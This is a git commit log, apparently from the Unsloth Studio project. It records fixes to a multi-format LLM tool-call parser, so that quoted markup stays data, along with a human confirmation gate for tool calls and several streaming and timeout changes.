signal set: the spelled-out literal inside a Mistral call's arguments (a query about Llama built-in tool syntax) executed the inner literal instead of the outer call. - New _xml_signal_inside_leading_bare_json guard, sibling of the Mistral one: a leading bare-JSON call whose string argument quotes tool XML (a code value citing <function=...>) had the literal promoted by the shared XML pass before the bare-JSON parser ran. - Magistral [THINK]...[/THINK] is dropped once at parse entry instead of only inside the Mistral parser, so a call rehearsed in the think block in a foreign format can no longer be promoted while the real call after the block is lost. Parse now agrees with the display strip. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: a disabled leading bare-JSON object keeps its literals as data When the leading bare-JSON object is ordinary content (name not an enabled tool), the guard proved the first tool signal sits inside it, so falling through to the XML/python_tag passes promoted quoted string data as a real call. Drop the object and parse only the tail: a real call after the object still parses, nothing inside it can be promoted. * Address review: Mistral literals inside leading JSON, whitespace-tolerant wrapped Gemma opener - The leading bare-JSON guard now treats the [TOOL_CALLS] trigger as a foreign signal: the Mistral parser runs before the bare-JSON one, so a literal quoted inside the leading object's strings was promoted over the outer call (or over ordinary JSON content). - tool_healing's wrapped Gemma opener tolerates whitespace around call and the colon: sampling drift emits call: name{ and call : name{, and rejecting those lost the call entirely because no fallback re-parses the wrapped form. Strict mode still requires the closing tag. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: accept dotted Gemma argument keys in the key-quoting scanner The scanner quoted keys of [alnum_-] only, so a dotted key (user.name:...) was left unquoted, json.loads failed, and the whole wrapped call was lost (parse empty, strip wipes the markup). Dots now match the parser's own key/name charset. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: leading Mistral call owns the turn, dotted keys after bare values - A LEADING parseable [TOOL_CALLS] call now runs the Mistral parser first unconditionally: literal XML in trailing prose after the call was promoted by the earlier shared XML pass, executing the quoted example instead of the real leading call. XML leading keeps the normal order. - _GEMMA_NEXT_KEY_RE accepts dots so a dotted key after a bare value (query:foo,user.name:bob) ends the value at the comma instead of being swallowed into it, matching the round-earlier key-quoting charset. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: markup quoted inside a nameless leading JSON answer stays data The leading bare-JSON guard required a top-level name, so a structured JSON answer quoting tool markup in its strings (a response_format turn documenting a tool's syntax) had the literal promoted by the later passes. A nameless leading object that parses as real JSON now routes through the same decline-then-parse-the-tail path; non-JSON braced prose keeps the old behaviour, and a real call after the answer still parses. * Compress docstrings in the multi-format tool parser to their contract essence * verify_import_hoist: exempt __future__ imports and same-diff relocations Two false positives fired on this PR's refactor. A from __future__ import is a compiler directive whose name never appears as a runtime load, so HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate move of the strip-pattern constants into core.inference.tool_call_parser as a silent re-point even though the old module-level target was removed and the new one added in the same diff. Both get narrow exemptions; a re-point to a pre-existing target is still caught, and the self-test negative controls all pass unchanged. * Leading bare-JSON calls own the turn; function calls end at the first balanced close The XML-signal guard for a leading bare-JSON call required the signal strictly inside the object, so a trailing XML example stole the turn from the leading call; it now applies the same inside-or-after rule as the Mistral guard. Function-XML calls also ended at the LAST close tag, which let prose after a closed call that mentions a literal close tag get swallowed into the final parameter value; calls now end at the first close tag that is not inside an open parameter, and the strip mirrors the same rule so parse and strip agree. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Attribute-form calls end at the first balanced close; bare-JSON strip requires the call shape The attribute form parser still kept the last close tag in the call window, folding prose after a closed call into the final parameter value. It now takes the first close not inside an open parameter, the same rule the equals form and the strip already use. The leading bare-JSON strip deleted any closed object whose top-level name matched an enabled tool, including plain JSON answers the parser correctly rejects as non-calls. The strip (and the drain gate that delegates to it) now requires the parser's exact call shape, so answers like {"name":"web_search","result":...} stream and display intact. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * False-alarm markers keep the answer; the bare-JSON strip consumes the whole chain The trailing strip arms dropped everything from a bare marker to EOF, so a normal answer that mentions [TOOL_CALLS] or another marker literally was truncated (or fully swallowed when it started with the literal) after the no-call drain fallback. Those arms now require a call-shaped lookahead or marker-at-EOF before dropping; truncated real calls still strip. Chained bare-JSON turns executed both calls but stripped only the first object, so the second call's raw JSON replayed into the next assistant history message alongside the structured tool_calls. The strip now consumes the entire chained run of call-shaped enabled objects while non-call answers, disabled names, and trailing prose stay intact. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Attribute-form containment, parameter-close-decides rule, preamble-tolerant Mistral guard, strict strip shape Four document-order and containment fixes. A leading attribute-form call now parses before the shared XML pass, so markup quoted in its parameter stays data. The open-parameter scan lets the parameter's own close tag decide, so any number of literal function closes inside one value stay data, restoring the pre-close-scan behavior for multi-close arguments. The leading-Mistral guard tolerates a visible preamble, with the leading-bare-JSON guard running first so a trigger quoted inside a leading JSON object stays data. The bare-JSON strip requires the parser's top-level name in every mode, so nested-name JSON answers survive name-agnostic stripping. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Let a leading <|python_tag|> call own the turn over quoted XML literals The leading-call ownership contract (a leading executable call owns the turn; foreign markup quoted in its string arguments or trailing prose stays data) was enforced for the bare-JSON, Mistral and attribute-form leading calls but not for the Llama-3 <|python_tag|> form. The shared tool_healing XML pass runs before _parse_llama3_python_tag and does not recognise <|python_tag|>, so a <function=...> / <tool_call> / [TOOL_CALLS] literal quoted inside a <|python_tag|> .call(...) string argument (or its JSON parameters) was promoted and the wrong tool executed. Well-formed single-format examples: <|python_tag|>web_search.call(query="... <function=foo> ...") -> foo <|python_tag|>python.call(code="<function=render_html>..</function>") -> render_html both returned the phantom inner tool instead of the real leading call. Add a leading-<|python_tag|> guard mirroring the other leading-call guards: when the tag is the first tool signal, parse it before tool_healing so quoted foreign markup stays data. A foreign signal before the tag keeps normal document order. Added TestPythonTagOuterOverXmlLiteral (7 cases). * studio: tighten tool-calling comments to be shorter and clearer * studio: shorten tool-format comments in changed files --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: danielhanchen <michaelhan2050@gmail.com> Co-authored-by: Daniel Han <info@unsloth.ai> Co-authored-by: danielhanchen <danielhanchen@users.noreply.github.com>	2026-07-06 10:06:06 -07:00
oobabooga	ab6c9ecfee	Studio: honor stream=false on the GGUF agentic tool path (#6570) (#6618) ... * Studio: honor stream=false on the GGUF agentic tool path (#6570) * Studio: dedup the #6570 non-streaming tool tests and cover cached_tokens * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: cover the cached_tokens metadata fix and clarify the drain comment (#6570) * Studio: align the GGUF tool drain naming and tighten its comment (#6570) --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>	2026-06-24 15:37:08 +01:00
Daniel Han	6866362da7	studio: report the true reasoning duration and fix Stop for thinking models (#6521) ... * studio: report the true reasoning duration and fix the Stop button for thinking models For a local GGUF the "Thought for N" label was timed entirely on the client by a brittle edge-detector, so an always-think model (Qwen3 MTP) that buffers its whole reasoning and flushes it in one chunk showed "1 second" instead of the real minute-plus. The client cannot time reasoning it receives atomically, so make the timing backend-authoritative. Backend: generate_chat_completion_with_tools measures wall-clock reasoning and emits a Studio reasoning_summary event (duration_ms) at the moment reasoning ends -- the first answer token, or end-of-stream for a reasoning-only reply -- for both the tool-detection pass and the final-answer pass. Timing resets per tool iteration so the final answer's thinking time wins on the client (which takes the latest reasoning_summary). routes/inference.py forwards the event in the GGUF tool stream. Frontend: parse the reasoning_summary SSE into a _reasoningDurationMs chunk and use it as the authoritative reasoning duration (last write wins), clamped to >= 0 and guarded to a finite number so a malformed or proxied chunk cannot produce a NaN label; the persisted value wins for the final "Thought for N" label, with the previous live timer kept only as a fallback when no metadata arrives. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>	2026-06-23 14:59:56 +02:00
Daniel Han	e2e8e5ab46	Studio: show tool-call progress for large GGUF tool arguments (#6484) ... * Studio: show tool-call progress for large GGUF tool arguments The GGUF agentic tool loop only surfaced an early provisional tool card for render_html, so any other tool (python, terminal, ...) was invisible in the UI while its arguments streamed. For a large argument such as a full HTML or code file this left the chat sitting on "Generating..." with zero progress for tens of seconds while the model was clearly working. Generalize the provisional tool_start to any enabled tool once its streamed arguments grow past a threshold (render_html still surfaces immediately, small-argument tools are unchanged). The provisional and the real tool_start share the tool_call_id so the frontend reconciles them into one card. Close the provisional on no-op, denial, parallel-drop, post-loop, and on stream errors so a card can never spin forever, surface each parallel call, and skip the early card while a human confirmation gate is active. Apply the same confirmation-gate guard to the safetensors agentic loop. Additional hardening: - Only emit a provisional card once a real, non-empty tool_call_id is known. llama.cpp can stream a tool call with an empty id, and a card keyed by "" cannot reconcile with the real tool_start (the frontend mints its own id per event), so it would dangle. - On a connection drop or other mid-iteration failure, close the dangling provisional card with an error result instead of an empty success so the UI renders it as failed rather than completed. - Mirror the provisional cleanup in the safetensors loop: close a provisional render_html card if the model generator raises mid-stream or the controller turns the call into an internal no-op. Adds regression tests for the empty-id guard, the error-result on a dropped connection, and the safetensors mid-stream exception cleanup. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: wasimysaid <wasimysdev@gmail.com>	2026-06-22 05:50:10 -07:00
Wasim Yousef Said	9d7740a82f	Rename chat artifacts copy to canvas (#6298) ... Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>	2026-06-15 13:38:39 +02:00
Lee Jackson	31439d9eed	Studio: extend llama.cpp first-token timeout (#5841) ... * fix: extend llama.cpp first-token timeout * fix: timeout label pluralization * studio: distinguish llama stream timeout phases * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix/adjust timeout handling for PR #5841 * Fix lint failure for PR #5841 * Fix/adjust stream timeout handling for PR #5841 * Fix/adjust first token timeout for PR #5841 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix/adjust passthrough timeouts for PR #5841 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix/adjust preheader stream cancellation for PR #5841 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix/adjust timeout PR diff for PR #5841 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix/adjust Python 3.9 stream iteration for PR #5841 * Fix first body timeout for PR #5841 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix first token timeout deadlines for PR #5841 --------- Co-authored-by: Roland Tannous <115670425+rolandtannous@users.noreply.github.com> Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: wasimysaid <wasimysdev@gmail.com>	2026-06-12 18:41:38 +02:00
oobabooga	7f2986a413	Studio: Add inline confirmation (Allow/Always allow/Deny) for tool calls (#5869) ... * Studio: Add inline confirmation (Allow/Always allow/Deny) for tool calls * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix race in tool-call confirmation gate * Studio: gate built-in tool calls and harden the confirmation handshake The Allow / Always allow / Deny controls only lived in the fallback tool card, but the built-in tools (web search, python, terminal, code execution, image generation) render with their own components and so never showed the buttons. Those calls paused after tool_start with no way to approve them, hanging until the 1 hour timeout. Only MCP tools, which use the fallback renderer, actually worked. Render the controls for every tool card by wrapping each registered tool component (and the fallback) in thread.tsx with a shared ToolConfirmationControls, so the gate applies uniformly. Also make the handshake robust: - The gate keys on a per-call approval_id minted by the backend and echoed in tool_start, instead of session_id alone, so a stale or concurrent confirmation can no longer resolve the wrong call. - The approval slot is registered before tool_start is yielded, closing the race where a fast click or an auto "Always allow" could reach the backend before the waiter existed. - The frontend resolves with the same session id the request was sent with (plus the approval_id), fixing the new-thread mismatch where the confirmation targeted a different session than the blocked stream. - The confirm endpoint returns {resolved}; the UI keeps the buttons and shows a retry hint until the backend confirms a match, instead of hiding them on a failed or mistargeted post. - The gate runs after the disabled-tool and duplicate-call checks, so a call that will not execute is not put up for approval. A denied call is still excluded from duplicate detection, so re-issuing and approving it works. - "Always allow" is scoped per session to match the backend gate. Add backend tests for the approval registry, the SSE no-deadlock handshake, and the loop integration (allow, deny, disabled, duplicate, re-issue after deny). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Move "Confirm tool calls" to the Tools section * Studio: Keep tool group open while a tool call awaits confirmation * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix tool confirmation session scope for PR #5869 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix confirmation follow-ups for PR #5869 * Apply pre-commit formatting for PR #5869 * Fix confirmation cleanup for PR #5869 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Harden confirmation lookups for PR #5869 * Studio: make the tool-call confirmation decision immutable resolve_tool_decision accepted a second confirmation for the same approval_id and overwrote slot["decision"] in the window before the waiter reads it and pops the slot, so a duplicate or out-of-order POST could flip an Allow to Deny (and returned a misleading resolved:true). Reject once the slot's event is already set so the first decision wins. Adds a regression test. * Fix/adjust tool confirmations for PR #5869 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Daniel Han <danielhanchen@gmail.com> Co-authored-by: wasimysaid <wasimysdev@gmail.com>	2026-06-12 10:55:26 +02:00
Wasim Yousef Said	ccb471f5bf	Improve local chat tool call flow (#5962) ... Unify the Studio local tool-call loop (GGUF + safetensors) behind a shared ToolLoopController: ordered preface-then-tool-card rendering, duplicate-call de-looping with a forced final answer, XML-leak containment, and a parser fix that accepts closed <function=...> calls followed by trailing prose. Includes backend tests for the controller, strict parser, and GGUF route cursor reset.	2026-06-09 07:28:44 -07:00